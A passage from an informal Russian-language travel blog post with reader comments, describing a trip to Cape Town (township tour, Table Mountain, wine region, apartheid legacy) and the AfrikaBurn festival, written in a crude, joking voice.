матерный обладает магической силой, которая обезоруживает даже африканского гопника. Они остывают, становятся мягкими и сговорчивыми, вплоть до «ой май френд, так ты русский, мы тут любим русских, вы нам помогли в истории с Манделой (погуглите), добро пожаловать, мы пойдем дальше искать бухих британцев чтобы обокрасть их, если чо звоните, мы с вами друзья». Не забудьте обменяться вацапом. Кто знает когда вам в жизни захочется прикупить себе Калашников или, например, танк. В общем, всё зависит от ваших навыков социального боя. Совсем наивным, конечно, лучше брать проводников, но в Африку такие обычно и не едут. Поэтому и русскоговорящих встретить на улице прям редкость. О, еще отдельная местная фишка — это «парковщики». Случайные чуваки, которые «помогают» припарковаться. Обитают во всех популярных местах, но в целом безобидны. Можно дать им на лапу 10-20 ранд (~1 евро), если хочется. Парковки обычно бесплатны, это сами ребята так зарабатывают на жизнь. Вот из-за кучи таких тонкостей в Африке и сложно поначалу. Но привыкаешь :) 6 комментариев 3 Коба Дмитрий Но ведь бабуины и правда опасны. В городе и около опаснее львов и носорогов. А, быть может, и людей. 3 Julia Zotova А можно примеры "социального боя"? Вообще не очень понятно, про что идет речь. 11 Dmitry Kochkin Опять дедов 35+ унижают. Можно подумать если написать 25+, а остальные тезисы оставить, то что-то поменяется. Эйджизм! Свободу дидам! 4 Егор Белов кажется, учитывая вышенаписанное, я бы не дал парковать тачку рандомному чуваку 🤔 7 Вастрик Егор Белов, они не паркуют тачку, это не валеты в США, эти лишь показывают тебе место или проводят до него. Они часто используют конусы, чтобы заблокировать публичные (бесплатные) парковочные места, а потом как бы от всей души "пустить" тебя на них, ожидая неистовую благодарность 1 Александр Мухин описание парковщиков напомнили Джакарту, там они весело махая руками тормозят поток, чтобы ты отъехал от обочины и потом дал им за это денюшку Войти и написать День 3-5 Развлечения для белых, мыс мокрой одежды, сёрф-деревни, пингвины и винишко Начнём с приключений для белых. Меня в основном читают олды с 300 какосеками, так что этот раздел будет для них. Молодые и горячие мотайте на следующий раздел. Самое главное, что нужно понять в Южной Африке — здесь был апартеид. Это как рабовладение в США, о котором все прогрессивные американцы сейчас всеми силами сожалеют и переосмысляют, только апартеид устраивали наши же Европейцы — Голландцы, Англичане, Французы, Португальцы, Немцы, приплывшие в Африку на своих кораблях и поделившие её между собой ради ресурсов. Мы сегодня часто вспоминаем рабство, но не вспоминаем апартеид. А зря. Даже наш любимый Илон Маск как раз выходец из такой вот «белой семьи», приплывшей туда во времена апартеида и разбогатевшей на добыче местных бриллиантов и золота, которыми так богата ЮАР. И вот если сегрегацию в США более-менее победили, за исключением некоторых штатов или институтов, то в Африке всё закончилось только на бумажке. Сегрегация в Южной Африке всё еще жесточайшая. Мы одинаково много общались и с «белыми», и с «чёрными» местными, и эта тема всплывает практически в любом диалоге. Апартеид для Южной Африки — это как Берлинская Стена. Травма, которая сейчас является первопричиной большинства происходящих внутри процессов. Как и в Берлине, она невидима, но по сути сформировала всё, что вы наблюдаете сейчас — от культуры до географии города. И еще минимум лет на 50 оно так. Конечно, некоторые местные используют апартеид как оправдание грабить и наёбывать любых приезжающих к ним белых, так что будьте начеку. Но многие, наоборот, хотят просто жить и вместе работать. Чтобы цвет кожи или место рождения больше не был причиной делить людей на классы, а воспринимался как цвет волос или принт на футболке. Классно, мы разные, но кого оно вообще ебёт, чо у тебя там по делу, давай уже? И вот если к делу. 4 комментария 0 Коба Дмитрий Мне наоборот показалось, что сегрегация сейчас это уже пройденный, но не до конца отрефлексированный этап. 0 Вастрик Коба Дмитрий, в США так, да. В Африке же сегрегация всё еще реальна — есть даже ВУЗы, которые, скажем, «неохотно» берут людей с отличным от белого цветом кожи и все это знают 0 Коба Дмитрий Вастрик, из такого отметили за две недели только, что компании школьников подле ТЦшек, как правило, одного цвета кожи. И с разной атмосферой (угадайте кто лучше веселиться и танцует с тортам в руках). А вот у взрослых, вроде бы, уже все сглажено. Но я не настоящий сварщик. 4 Alexander Denisenko Они реально просто хотят жить, дружить и вместе работать А чёрные, которые живут в семитысячном городе в 200км от Кейпа, просто хотели лежать обдолбанными на улице. Без шуток, реально полгорода валяется под "коттеджами". Да, понимаю, сравнение неуместно, в такой среде чуваки родились, но всё же. Жил в ЮАР пару раз по 3 недели у белого фермера, он говорил, что их (белых владельцев земли и ферм) сильно щемают. Ну, неудивительно при том, что 80% населения чёрные, а основная повестка - "ЭтО ВсЁ иЗ-За БеЛыХ!!!11". Маятник делает ХУЯК! Войти и написать Первым делом вам явно захочется на Мыс Доброй Надежды и смотреть пингвинов. Не останавливайте себя! Это отличный круг для дей-трипа. Африка — это бесконечно огромные пейзажи. Никакая Норвегия или Сибирь не может сравниться по масштабности с происходящим в Африке. Пейзажи настолько огромны, что ты видишь воздух и ощущаешь его плотность. На самом деле сам Мыс не очень крутой (если вы уже видели другие). По крайней мере не такой волшебный, каким он казался после книжки про «Искусство Похуизма». Да, ехать туда однозначно стоит, но по дороге суммарно у вас будет больше остановок и впечатлений. Например, пляж с настоящими пингвинами, за которыми можно вдоволь побегать, либо сёрферская деревня Muizenberg с уходящими в туман горизонта волнами. Дорожный знак, означающий отличное настроение Бегать за пингвинами — это весело Волны здесь очень длинные и мягкие, потому даже на диком пляже можно встретить серферов. Но океан очень холодный, ибо это атлантика + антарктические течения == пиздецки холодно, надевайте 2 гидрухи Дороги уже сами по себе приключения. Автопроизводители обожают снимать здесь рекламы Это мы с командой идём на ретро Внезапный Уэс Андерсон 🏄‍♀️ Не забудьте там пошопить себе сёрферской одежды. Она намного охуеннее обычной, так как проектируется отводить воду, ветер и вообще почти что теквир. На весь трип вокруг мыса можно смело закладывать день и останавливаться в любых местах, где вам вдруг показалось красиво. Наслаждайтесь не торопясь. За въезд же на сам Мыс вам придётся отдать по 30+ евро с человека, а то и больше. Не скажу, что оно реально того стоит, но для галочки вы всё равно туда поедете, как и мы :) 1 комментарий 0 Alexander Denisenko Респект за Марка Мэнсона! В своё время книжка очень хорошо легла. Сам чел с тех пор скатился, на мой взгляд, но The Subtle Art всё ещё в полном порядочке Войти и написать Мыс Доброй Надежды Дикие пещеры тоже легко найти в округе при желании. Вот эта в форме письки, например Вторым по популярности развлечением считается хайк на Столовую Гору. Столовка видна из любой точки Кейптауна, город её по сути огибает, так что вы явно её не пропустите :) Хайк туда хороший. Не самый лёгкий, но и не жестокий — можно лезть без подготовки. Где-то ближе к вершине начинается физическое истощение и холод, так что лучше запастись водой и тёплой одеждой, даже если на улице внизу было +25. Мы этого не сделали и поэтому прятались от ветра за камнями и грелись, обнимая друг друга :) Было жёстко, но все довольны и выжили! Обратно можно спуститься на фуникулёре. Самые ленивые, конечно, могут и подняться на нём — будет быстро и ненапряжно, хотя и не так трушно. Альтернативой может быть хайк на Lion's Head — это соседняя гора. Говорят, он даже веселее, там иногда надо лезть по металлическим прутьям, вбитым в отвесную скалу. Мы попробуем в следующий раз. Комментировать Войти и написать Хайк хороший. Первую половину приходится часто прятаться от жары и много пить, а ближе к вершине, наоборот, бороться с холодом «Экстримели денжерус роуд». В Европе такое обнесут забором за 100 километров, а тут просто табличка висит (теперь с клубным стикером) Виды со Столовой Горы правда топовые, хайк того стоит Третье главное развлечение — это винишки. Когда сюда приплыли Французы, они купили у Голландцев кучу земель и стали пытаться засадить там лучшие сорта винограда, что привезли с собой. Африканцы в это время: «эээ чо бля всмыслий купили?» Короче, совсем прям Французского вина вырастить тут не удалось, но местное в принципе тоже ничего. Так вот у местных виноградников есть целый регион — всё вокруг города Stellenbosch, что в 50 км от Кейптауна (можно доехать на убере). Там даже ходит специальный винный трамвайчик и винный автобус, где милые местные девочки расскажут вам всю историю виноделия региона. Обязательно пообщайтесь с ними. Они привыкли, что туристам обычно насрать на их охуительные истории, потому быстро читают по бумажке и забивают болт. Но когда с ними начинаешь разговаривать, они очень рады поделиться всем подряд. Общение — это вообще главный лайфхак в Африке. Я еще никогда не видел столько разных людей, которые настолько открыты с тобой поговорить и рассказать всё, что они знают. При этом, напоминаю, все локалы говорят по-английски! Грех таким не пользоваться вообще. Кажется, теперь я знаю ответ на вопрос «в какую бы англоговорящую страну мне переехать чтобы мой уровень жизни оставался как был в Москве». Кеееек. Простите, но кажется, это ироничная правда. 2 комментария 3 Georgiy Taubert Вообще белые вина в Южной Африке лучшие* в мире, сравнение с французскими не в пользу последних. *не является объективной оценкой 0 Alexander Denisenko А я нежно люблю африканский пинотаж и вермут с ройбошем (осторожно, второе вызывает дикое привыкание!) Войти и написать Винный трамвайчик милый, но очень короткий. Он проезжает свой путь минут за 15 и едет обратно. Остальное приходится исследовать на автобусах На каждой винодельне можно выйти и пойти продегустировать их сет из вин и местных сыров. Неплохие, наборы кстати. Каждое из трёх развлечений выше отнимет у вас как минимум день. Вечером можете пойти погулять по красивым набережным белых районов типа Waterfront и Green Point, либо отправиться тусить на Long Street. Кстати, если это будет суббота, Long Street скорее всего перекроют для машин и вся улица превратится в одну большую дискотеку. Африканцы обожают танцевать. Короче, вы и сами не глупые, наверняка нагуглите все основные развлечения в городе. А то я щас насоветую глупостей, а я та еще мразь нерелевантная :) В общем как-то так выглядит Кейптаун для белого человека А для ультра-белого вот так, прям с видом на поле для гольфа Комментировать Войти и написать День 5-8 Эджи-районы, вылазка в трущобы и страх не вернуться К концу недели мы уже освоились в Кейптауне так, что спокойно возвращались домой ночью, умели громко слать к чертям приставучих бомжей и разговаривать с наркодилерами о войне в Украине. В общем, стали понемногу интегрироваться в местное общество. Когда ты отрастил яичек — надо ехать тестировать более «смешанные» районы, чтобы получше прочувствовать локальный вайб: Woodstock (да, это реальное название) и Observatory. Лучше доехать на убере. Мы решили пройтись пешком от центра и пару раз чуть не отхватили, конечно. Зато там мы нашли самые прикольные магазины, чтобы закупиться винтажным и странным шмотьём для AfrikaBurn, посмотрели местный стрит-арт, залипли в куче книжных лавок, ну и просто неплохо потусили и пообщались с чуваками в местных барах. На мой (тоже чисто туристический) взгляд в них уже присутствует тот самый «дух» Кейптауна. Я лично кайфанул. По этим двум районам можно вполне себе оценить насколько вам комфортно «двигаться дальше» или остановиться и наслаждаться. Хвост самолёта на балконе? Ты чо, пилот? Лавки с хипстерским шмотьём. Но обратите внимание на калитку на входе, которая не даёт зайти в магазин посторонним с улицы. Такие вот контрасты :) Куча всего, в каждой лавке можно неплохо залипнуть и найти кучу артефактов Или просто почитать доску объявлений локального коммьюнити, она кекабельная Местные барчики. Обратите внимание, на фотках снаружи все люди чёрные, а здесь внутри сидят исключительно белые Дальше вы либо кринжанёте и сбежите обратно на пляж пить просекко, либо... захотите настоящего хардкора. 3 комментария 15 Sherzod Чёрных на фото не видно, но у лысого мужика милые красные ушки ❤️ 20 Sergey Dudkin Черный мужик в баре на фото в левом нижнем углу: я для вас какая-то шутка? 2 Иван Русанов Тема "и пару раз чуть не отхватили" не раскрыта. А было бы интересно почитать к чему готовиться. Войти и написать Трущобы Хардкор — это трущобы. Та самая чёрная херня на карте выше с подписью «даже не думай». Здесь их называют Townships или Cape Flats. Это те места, куда белым строго-настрого запрещают ходить одним (и не зря), а люди там живут в самодельных домиках из шифера и полиэтилена. Там нет канализации, нет воды, а электричество они добывают от столбов освещения ближайшего шоссе. Правительство поэтому не выключает их даже днём. Самому в трущобы идти нельзя. И это не советы очередного белого хипстера тревел-блогера, там правда опасно. Можно проехать их на машине, но чтобы выйти и погулять — надо быть абсолютно отбитым, меня такие точно не читают. Так, в первые же секунды нашей прогулки рядом с нами притормозил старый «мерседес» с чёрными ребятами, которые начали кричать нам «hey pedo». Да, мы заржали, так как прозвучало как «эй пидоры», но даже наши «гиды» не захотели переводить нам дословно что это значит. Я так понимаю, что-то оскорбительное. Типа n-word для белых. Всё, что мне потом удалось нагуглить, это что Илона Маска в детстве оскорбляли «pedo guy», то есть это что-то местное. Кто знает — расскажите. А может быть мы просто не так расслышали. Местная главная улица. Тут все бухают, хвастаются музыкой из тачек и танцуют. Ну, короче, всё как в Новосибирске По тому, что я сейчас пишу эти строки, а не валяюсь в кустах где-то в песках Кхаялитсы, вам уже понятно, что мы поехали туда не одни. Мы нашли весьма забавный тур от 18 Gangster Museum. Местные чуваки делают туры по своему району под присмотром нескольких ребят на всякий случай. Стоит всего 25 евро (450 ранд) с человека и оно того стоит. Самая стрёмная часть — это конечно же приехать и запарковаться рядом с их местным «туристическим центром». Да-да, у ребят нет туалетов, но есть туризм! На самом деле в этом центре местных детей обучают печатать на компьютере и прочему, очень полезная штука для местных, потому её уважают и не трогают. Вас встретит очень харизматичный чувак, который расскажет об истории этих мест, историю своего племени и становления трущоб во всех красках. Дальше вас проведут по району, покажут «главную» улицу, «богатые» улицы, бедные улицы, школу, радиорубку, тюрьму, локальный рынок (где с вами захотят сфотаться все бухие местные), а в конце даже сводят в «самый модный» местный клуб и покормят местной едой — стейками на гриле с полентой и овощно-бобовым соусом. В Африке нет веганов, сорян :) Поначалу было стрёмно, особенно уговорить друзей на такое, но оно того однозначно стоило. После тура там действительно хочется остаться и побыть еще. Гиды прикольные, много шутят, отбивают пятюни всем местным и рады ответить на любые каверзные вопросы. Туристы боятся этих мест, так что если вы бронируете тур на 4-х, то вас вчетвером и будут водить, у них не бывает толпы. От того оно максимально круто. Два чувака справа — наши гиды. Слева — типичная африканская маршрутка, из каждой из них по классике должен торчать чувак и что-то орать. Так они узнают куда маршрутка вообще едет :D Помните я говорил, что с общественным транспортом сложна — теперь вы понимаете почему В таких домах живут целыми семьями. Никто не знает точное количество населения трущоб. Ориентировочно здесь живут 2.8 миллионов человек — это больше половины Кейптауна Эти дома свежие — их построили во время ковида. Один такой дом стоит примерно 4000 ранд (~250 евро). По сути это цена материалов. Земля бесплатная, просто надо получить разрешение от старейшин местной общины, построить дом и переехать в него. Конкретно в этих, свежих, живут в основном подростки «которые хотели съехать от родителей и скорее начать свою жизнь», как говорят Туалета нет (все срут под кустом на горе), электричества нет, зато можно купить биткоины! Главный показатель «крутости» у местных — это купить BMW. Так все знают, что ты добился и уважаем. Что-то мне это напоминает :) Центр города. Обратите внимание, тут даже есть электричество. Обычно его крадут нелегально со столбов освещения вдоль шоссе. Потому правительство не выключает их даже днем Радиорубка. У чуваков есть целые ДВЕ радиостанции — одна для стариков, вторая для молодёжи Малый бизнес. Качество стрижек примерно как у турков в Берлине Фастфудику из местных ресторанов не желаете? Не стесняйтесь, после ухода Макдональдсов в России будет примерно так же Даю вам 3 секунды догадаться что это. Раз... два... три... ̷э̷т̷о̷ ̷ц̷е̷р̷к̷о̷в̷ь̷ Местная барахолка. Тут можно купить, продать или отремонтировать вообще всё. Не у всех жителей трущоб есть деньги даже просто чтобы выехать куда-то, потому здесь полный спектр услуг Африканские девушки обожают наряжаться, так что внутри контейнера чуваки сами шьют платья, которые показывают по телевизору на модных коллекциях Вот еще интересная услуга: ПЕЧАТЬ на компьютере. Большинство местных не умеет печатать на клавиатуре. Потому, например, чтобы написать резюме для устройства на работу, они сначала приходят сюда Оглянуться не успели, как мы уже в той самой африканской маршрутке, которая везёт нас в «одно интересное место» Привезли. Встречайте — это самый модный клуб в городе. У них даже фейсконтроль на входе есть, а наряженных девиц больше чем в московских клубах в 2006-м Вот и местная еда. Охуенно После тура по тауншинам тебе уже похуй на всё. А все эти проблемы белых людей кажутся самой скучной хернёй на этой планете. В первое время даже какое-то отвращение испытываешь, наткнувшись на очередную новость про очередную «зелёную энергетику» или «социальную справедливость». Какие же мы мерзкие лицемеры всё-таки. Поехали уже в пустыню. 2 комментария 6 Anton Goolin Так я и не понял правительство не выключает столбы даже днем или даже ночью. Очень непросто там у ребят 0 Aleksandr Ночью понятное дело, что не выключают) Иначе было бы сложно ездить. Или в тексте в первой версии была путаница? Войти и написать День 9-?? AfrikaBurn. Неделя в пустыне без туалета и интернета AfrikaBurn — это официальный региональный Burning Man. То есть все правила, атмосфера и заповеди те же самые, но локация — не пустыня в Неваде, а пустыня в Африке. Он и был целью нашего визита. Первую неделю мы закладывали на осмотр ЮАР, а вторую — на AfrikaBurn. В России тоже есть свои региональные ивенты — Огонёк и Холодок. Я не в курсе насколько они «официальные», но делает их сообщество русских бёрнеров, которые всё по-правде видели и знают, как надо. Им можно верить и рекомендовать, это не случайные воннаби. Хотя за «атмосферу» не ручаюсь, её всё-таки делают посетители. На этом AfrikaBurn даже должен был быть целый лагерь от русских бёрнеров со своей фигурой (а это очень почётно). Но из-за войны всё отменилось и весь лагерь не приехал, об этом будет далее. Тем, кто не знает ничего про Burning Man, рекомендую начинать с видео маэстро Птушкина. Он хороший. Покупка билетов — это отдельный челленж. На большом бёрне традиционный Sold Out за 5 минут после открытия и потом лотерея. В Африке было попроще, хотя похоже. Мы решили не париться и закупиться на так называемом FOMO Sale — это ограниченная партия «дорогих» билетов, которые можно купить заранее без лотерей и гарантировано забронировать себе место (если успеешь пока все не разберут). На «большой» Burning Man такие стоят до $2500 за штуку, так что берут их в основном миллионеры. На Африке же FOMO-билетики стоили всего по $300, при том, что обычный бы обошелся ну минимум в $200. Мы решили брать их и не париться. Больше денежек пойдет на донат оргам — это всегда добро! «Дорога на бёрн» сама по себе уже важная часть опыта. Она всегда жестокая и очень плохая. У нас с собой было аж 2 запаски. Когда доезжаешь до города — тебя встречают с криками you made it! и обнимашками :) Комментировать Войти и написать Итак. Подготовка. Первым делом обязательно напасть и прочитать всю Вики. Для Африки она зовётся Quaggapedia. Там вам расскажут основы, 10 заповедей, ну и самое главное — как добраться. На бёрн нельзя просто доехать по Google Maps, вас обязателно заведёт не туда, а пустыне не будет интернетов, чтобы перестроить маршрут. Его нужно именно запомнить. На прошлом AfrikaBurn кто-то нарисовал весь город на OpenStreetMaps! (водичка — это фейк, там скорее всего песчаные дюны, чтобы не парковались) На этот раз ивент был не здесь, но оффлайн-навигаторы всё равно топчик Там же на вики можно почитать всякие инсайды типа «как пройти местный техосмотр» для арт-каров. Мне особенно понравилась правила для DMV (Department of Mutant Vehicles) — типа «если ваша машина стреляет огнём — не стреляйте им в людей». Вот бы ПДД всех стран были такими! Там же вас предупредят, что вне зависимости от прогноза погоды, днём в путыне будет +40 градусов и надо будет прятать лицо солнца и песчаных бурь, а ночью вам придётся спать при около нуле. То есть два спальника, термуха из Uniqlo, салфетки для мытья тела, Аэропресс, чтобы делать кофе утром, и всё прочее кемперское — маст хев. Рекомендую заложить пару вечеров на изучение и запоминание матчасти. Во-первых, это дико интересно. Во-вторых, вы всё-таки едете выживать в пустыню без интернета, а не на фестиваль Нашествие. Утренний тетрис перед поездкой — классика. Влезает, очевидно, не всё 2 комментария 3 Alex Tarasov На машине стикер ZA. 🤔 4 Вастрик ZA == ZudAfrika, любому немцу очевидно! :D Войти и написать Бёрн — это свой настоящий город со своими правилами. На покупке билетов квест не заканчивается — вам надо ещё как-то стать гражданином города. Есть два варианта: 1. Жить в лагере. Лагеря (camps) — это функциональные элементы города. Каждый из лагерей что-то делает. Лагерь может быть рабочим, то есть вы, например, готовите блинчики всем желающим каждое утро (на бёрне нет денег, напомню, вы наверняка прочитали это в 10 заповедях). Либо делает дискотеки. Либо моют других. Либо огранизуют йоги-медитации-оргии-веганство. Любой может подать заявку на свой собственный лагерь (заранее), если у вас есть какая-то дикая идея. Это только поощряется. Плюс проживания в лагере в том, что вам не нужно продумывать как вы будете выживать. Вы платите взнос в бюджет лагеря ? порядка $800 за место, что кажется много, но представьте, что за это вас кормят, дают палатку, коммьюнити и решают все проблемы — по сумме ваших личных затрат на собственное выживание это может получиться даже дешевле и у вас обязательно есть обязанности (duties). Кто-то готовит еду, кто-то моет посуду, кто-то ходит по соседним лагерям и рекламирует ваш лагерь смешными лозунгами, кто-то отвечает за уют. Лагерь — хороший вариант для первонахов. Да, вам придётся заплатить денежек и выполнять дежурства (как в школе), но 90% времени вы всё равно свободны, плюс лагерь даёт вам свою тусовку чуваков, из которой многие даже и не вылезают до самого заката. Улицы в пустыне пронумерованы и каждый лагерь имеет своё заранее определённое место. Раньше на въезде на бёрн всем давали книжку с картой и расписанием, но на этом их видимо не успели напечатать Комментировать Войти и написать 2. Свободный кемпинг (Free Camping). Это обычные «жители города». Каждый разбивает свой лагерь и живёт как хочет. Самые дикие спят просто в спальниках на полу, но чаще всего всё-таки арендуют кемпер, RV или на самый худой конец палатку. На «большом» Burning Man все едут на огроменных RV и строят из них целые кварталы своих мини-лагерей. В них вы свободны делать что хотите, но кто-то всё равно должен готовить еду, привозить запасы, организовать душ, следить за водой, вывозить мусор и прочее, не так ли? Эти обязанности всё равно придется поделить между собой. Плюсы свободного кемпинга — вам нужен только входной билет, а дальше вы делаете что хотите и абсолютно свободны. Сами строите своё расписание, сами решаете кто готовит кофе, короче живёте настоящим небольшим племенем. Напомню, что гаджеты и интернеты в пустыне бесполезны. Их нет. Так что заранее озаботьтесь наличием хотя бы базовых знаний о жизни без ютюба. Я щас не шучу. Мы, например, не смогли открыть некоторые банки консервов. У них был какой-то свой американский способ открытия, который мы не знали, а наши европейские открывашки их не брали. Пришлось идти и спрашивать соседей :) Минусы свободного кемпинга — нет «коммьюнити», то есть вам придется искать друзей самому. Легко впасть в депрессию и уныние от безделья. Легко посраться с друзьями, которые не были так готовы к выживанию, как вы. Ну и да, это реально дорого. Если вас напугал ценник $800 за лагерь, то за наш джип с палатками мы заплатили $2500 + еще примерно $1000 за еду, топливо, воду и прочее. Короче, сами выбирайте какой вариант вам ближе. Мы фри-кемпили потому что с нами были опытные и проверенные друзья, которые 2 раза ездили на настоящий Burning Man, так что нам было абсолютно охуенно жить с ними в своём маленьком лагере! Когда наступит ядерная зима, я знаю с кем поеду выживать :) Вид нашего лагеря днём. На полу всё еще валяется мой чемодан со шмотками В своём «лагере» у каждого тоже есть свои duties, никто не любит лентяев А это лагерь ночью. Обвешивать себя и машину миллионом светяшек нужно не только для красоты, а еще и потому что с наступлением ночи ты хер найдешь свой лагерь, и без знаков отличия будет тяжеловато 4 комментария 1 Михаил Тетелев А в чём была проблема открыть консервы вместо особенной американской открывашки универсальным европейским ножом? 0 Вастрик Михаил Тетелев, в том, что европейским открывашкам нужен специальный европейский бортик, о который этот нож (или крутилка) будет держаться, а на американских банках он был практически плоский :) 0 Михаил Тетелев Вастрик, я про нож, который не открывашка, а самый обычный, типа кухонного :) 4 Вастрик Ну вот мы им и открыли, чо делать Войти и написать Третий зашкварный вариант. Очевидно, не всё так легко и прекрасно в бёрнерском государстве. На каждый американский бёрн ездят Илон Маск и Билл Гейтс, и они, очевидно, не разводят свой собственный огонь около палатки, а скорее всего прилетают на пару дней на частных самолётах (на бёрне есть самодельный аэропорт, да). Зашкварный вариант называется — plug-in camp. Типа такой лагерь, который только притворяется лагерем, чтобы пройти ревью оргов, а на самом деле был построен специально нанятыми людьми, которые соорудили все удобства для миллионеров, и по сути делают им личный кейтеринг. С plug-in camp'ами активно борются на настоящем Burning Man'е, а вот на Afrika их было заметно много. Думаю, на других региональных ивентах тоже. Организаторы, конечно, немного оправдывались, что в отличии от Американского бёрна, куда Илон Маск просто привозит автобус личной обслуги, здесь нанимают местных работяг, что поддерживает их бедные африканские коммьюнити. Но всё равно plug-in camp'ы — это не очень «в культуре». Мы, например, снабжали дружественный «веганский кемп» консервами с тушенкой. Потому что «веганский кемп» по сути и был замаскированным plug-in camp'ом. Профит. Причём не думайте, что это исключительно развлечения миллионеров. Условные айтишники, которые не привыкли к трудностям в жизни — самые частые обитатели таких кемпов. Заплатил деньги — приехал в лагерь — класс, мама, я на бёрне, смотрите мои фотки. На каждом столбе висит карта и пригождаться она будет намного чаще, чем вы думаете. Никакой GPS тебе в пустыне не поможет найти лагерь с блинчиками Комментировать Войти и написать Burning Man — это не музыкальный фестиваль. Я недеюсь меня щас не побьют, что проспойлерил один из ответов лотереи при покупке билетов. Но это так. Burning Man — это уникальный опыт, это своя аутентичная история, неделя жизни на другой планете, на которой действуют свои правила и все восхищаются ими. Полное отсутствие любой связи с внешним миром — одна из основ. Вы живете замкнутым сообществом людей. Денег нет. Связи нет. Статусов нет. Одежды нет. Ни у кого нет ничего, что могло бы хоть как-то поставить его выше других. Ленин, Маркс и Энгельс, наверное, были бы в восторге. Стандартный набор, без которого ты не выходишь из дома вообще: сумочка, в которой бутылка воды, всякие очки и прочее от пыли, ну и легендарная «кружечка на карабине». На бёрне тебе много где могут налить, но вот кружечка везде нужна своя :) Вы просыпаетесь утром. Соседи еще спят. Вы делаете кофе на газовой горелке на всех, потому что вы умеете делать охуенный кофе и взяли с собой Аэропресс. Спасибо Бусу и опыту кемпинга по Европе. Соседи в это время просыпаются и выпозают из палаток на запах. Время 6 утра. Скоро рассвет и очень холодно. Цель — пойти на рассветные сожжения (aka. бёрны) фигур. Потому что это охуительно красиво. Фотки не передают даже доли величия пустыни, которая медленно освещается ползущим рассветным солнцем. 2 комментария 18 Alexander Alexeev Я был на таком бернинг мэне – полевые учения при срочной службе в армии называется :D Тоже в ебенях, тоже под палящим солнцем, тоже без условий. 0 Александр Мухин да это же пустые холмы! Войти и написать Недостроенная фигура русского кемпа, который в полном составе не смог приехать из-за войны. У фигуры долгая история — на неё долго собирали деньги краудфаундингом и в 2019-м даже довезли контейнерами до ЮАР, но бахнул ковид и фигура пролежала 2 года без дела. Потом потерялись какие-то запчасти, её пытались достроить, но началась война. В итоге многострадальную фигуру попросили просто сжечь на рассвете самих оргов. На ней стояла моделька на 3D принтере как она должна была бы выглядеть и было бы правда красиво Рассветные тени по сто метров На рассвете народу меньше, фигурки стоят одинокие Ночь Я ещё в самом первом отчёте из Евротрипа рассказывал, что в путешествии твой режим быстро начинает отличаться от обычного — это нормально. Ты спокойно встаешь в 6 утра, а потом в 13:00 заваливаешься читать книжку и спать полуденный сон, потому что солнце в зените и очень жарко, на улице нехуй делать, а в 16:00 можно будет выйти и отобедать. Потом снова тусишь до 3 часов ночи, потому что тут проехал неоновый единорог и начал играть тебе техно. Комментировать Войти и написать Неоновый единорог с техно. Я не шутил Когда устал ходить — можно поймать арт-кар и прокатиться на нём куда-нибудь. Обычно это сопровождается смешным диалогом типа «Вы в какую сторону? Мы до светящейся вагины, а потом к огненному носорогу. О, нам по пути!» AfrikaBurn был очень маленький в этом году. Всего 7000 человек, это по сравнению с 70к на «большом» бёрне вообще не считается. Даже аэропорта своего не было. Потому тут можно было ходить пешком, хотя обычно все перемещаются только на велосипедах и арт-карах — слишком большая территория Фигурки начинают жечь ближе ко второй половине недели. Потому многие приезжают на бёрн не с понедельника, а где-то к четвергу, чтобы как раз попасть в самое пекло День День на бёрне — это исследование. Ты посещаешь разные кемпы, меняешь обнимашки на блинчики (деньги запрещены), разговариваешь с людьми и узнаешь много всего нового из их жизни. Настоящая племенная жизнь. Можно пойти в лагерь, где тебя помоют (самому мыться нельзя, только друг друга), можно пойти поискать разной еды и питья, можно записаться на йогу, медитацию и даже оргию, а можно просто почиллить с книжкой где-нибудь в тенёчке. В самый полдень жара обычно такая, что на пару-тройку часов хочется прятаться в палатке и выходить только в туалет или сварить макарошков. Палатки на нашей тоёте, кстати, были достаточно многослойными, чтобы защищать от адского пекла, но при этом пропускать редкий ветерок сбоку. Респект. Комментировать Войти и написать Можно полазить по фигурам. На Африке они как-то были заметно меньше, чем на большом бёрне, хотя казалось бы, ничего не ограничивает, материалы даже наоборот дешевле Повалялись в бассейне И нашли хештег Можно поймать арт-кар и поехать с ребятами-волонтёрами разгружать лёд Или надеть свою лучшую пачку и пойти превращать скучный рено в чуть менее скучный рено! Либо заняться добычей электроэнергии для всей Намибии А можно просто выйти из машины и обнять друга Leaving No Trace Возвращаясь к 10 принципам Burning Man. Честно скажу, до поездки наизусть я помнил максимум три. После где-то семь :D Один из самых используемых практически — это «не оставлять следов». Думаю, вы слышали, что после Burning Man волонтёры проходят по всей площади и собирают даже глиттер, упавший в пыль. Потом еще публикуется карта грязи — если с каким-то лагерем было много мусора, его могут не пустить на следующий бёрн. Практически это означает, что абсолютно о каждом товаре, который вы покупаете в супермаркете перед поездкой, вы должны заранее подумать как будете его утилизировать в пустыне. Например, пиво в бутылках сразу отпадает. Бутылки хороши для рецайклинга, в пустыне же — только банки. Их можно смять ногой и бросить в мусор — так они не займут много места. До сих пор не могу избавиться от нового рефлекса: теперь каждый раз, допив банку, хочу бросить её и раздавить ногой. Еле держусь. Жидкости утилизировать сложнее. Нельзя просто вылить «серую воду» на землю, за это получишь пизды от рейнджеров ? все люди на бёрне — волонтёры, так что вы тоже можете устроиться рейнджером, если что . Заставят выкопать и увезти в мусоре вместе с песком. Потому есть лайфхак: во-первых, переиспользовать воду. Греешь воду для чая, остатками моешь руки над посудой, потом в ней же моешь посуду. Во-вторых, нужно соорудить эвапорайзер. В земле копается ямка, в неё кладётся пакет, в него выливается вода. Дальше сорокаградусная жара пустыни сделает всё за вас, а на дне пакета останется только засохшие остатки. Такие вот тактики :) А это туалеты. Весьма социально, да. В них, кстати, ничего выливать нельзя. NO MOOP IN THE POOP (c) Комментировать Войти и написать Radical Self-Expression Наступает новая ночь. Снова единорог засасывает тебя на центральную площать — плаю ? на АфрикаБёрне она называлась как-то еще, но никто не смог запомнить, так что называли по-старинке плаей . Где-то на второй день начинаешь расслабляться и понимаешь что значит основная заповедь, которая про Radical Self-Expression. Всё это действительно напоминает жить какого-то странного племени, у которого исчезли все человеческие проблемы и осталась только одна цель — самовыражение. Причем неважно свой внешний вид, танец, взаимодействие с людьми и окружением. Даже написание этого поста — это мой акт самовыражения. Вот и всё. Всё так просто. Ты берешь с собой традиционный стакан на карабинчике, ведь вдруг кто-то захочет угостить тебя винишком, свои неоновые очки, бутылочку с джин-тоником и обматываешься неоновыми лентами. Ты готов! Дальше нет примерно никаких воспоминаний. Рекомендую прожить это. Неважно где. Африка, Огонёк, Невада, лишь бы атмосфера была именно той. И никакого внешнего мира и интернета. 2 комментария 4 Daniil Olshevskiy Ты тут несколько раз в скользь упоминаешь все эту тему про "одежды тут нет", "записаться на оргию" но без особых 